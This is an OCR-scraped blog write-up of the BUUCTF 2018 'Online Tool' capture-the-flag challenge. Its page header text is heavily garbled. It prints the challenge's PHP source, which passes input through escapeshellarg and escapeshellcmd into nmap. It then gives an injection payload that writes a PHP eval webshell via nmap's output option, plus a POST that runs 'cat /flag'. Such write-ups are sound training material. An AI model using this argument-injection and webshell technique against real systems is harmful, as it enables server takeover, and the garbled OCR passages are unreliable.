[BUUCTF 2018]Online Tool

EZpop o T 2022-03-27 1221:18 K Aii o 1671 k g

rRER: cRlIULR EAR:  web? 4 php

WAL B : AR SONT SR AISCEE, 1805 CC 4.0 BY-SA BRI, e 80 iy b J5SCH AbBE SR A = 1
ASCHEHE: hitpsy/blog.csdnnet/qq 62078839/article/details/123770637

FEAL

S ol AR
17 305 0 3T 14
B ER

dE  EERFE

[IBUUCTF 2018]0nline
Tool

1

PHP_
RL/EnEEL,

fEHER
el FAT1E): 70925
http://00d0b463-7e83-4d12-b953-
df55e3a510dd.node4.buuoj.cn:81

fHEREEH FEH 221 =20

Flag 3L

CSDMN @EZpop



https://blog.csdn.net/qq_62078839
https://blog.csdn.net/qq_62078839/category_11681469.html
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_62078839/article/details/123770637
https://blog.csdn.net/qq_62078839/category_11681469.html

TR 1AL

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER[ 'REMOTE_ADDR'] = $_SERVER[ 'HTTP_X_FORWARDED_FOR'];

if(!isset($_GET['host'])) {
highlight_file(___FILE_ );
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
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payload:?host="<?php eval($_POST["pass"]);?> -0oG shell.php '
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you are in sandbox 56a7d3f1cab5b07e1b69dbc37f19483bStarting Nmap 7.70 ( https://nmap.org ) at 2022-03-27 03:27 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 2.51 seconds Nmap done: 0 IP addresses (0
hosts up) scanned in 2.51 seconds
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# Nmap 7.70 scan initiated Sun Mar 27 03:27:30 2022 as: nmap -T5 -sT -Pn --host-timeout 2 -F -0G shell.php \flag{2a70a56b-3a79-4466-a897-4b4b533c338d} \\ # Nmap ¢
addresses (0 hosts up) scanned in 2.51 seconds
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pass=system("cat /flag");

CSDN @EZpop

Frpostid ZHdhs, HATAULHATHIT E=Fflag T -



	[BUUCTF 2018]Online Tool

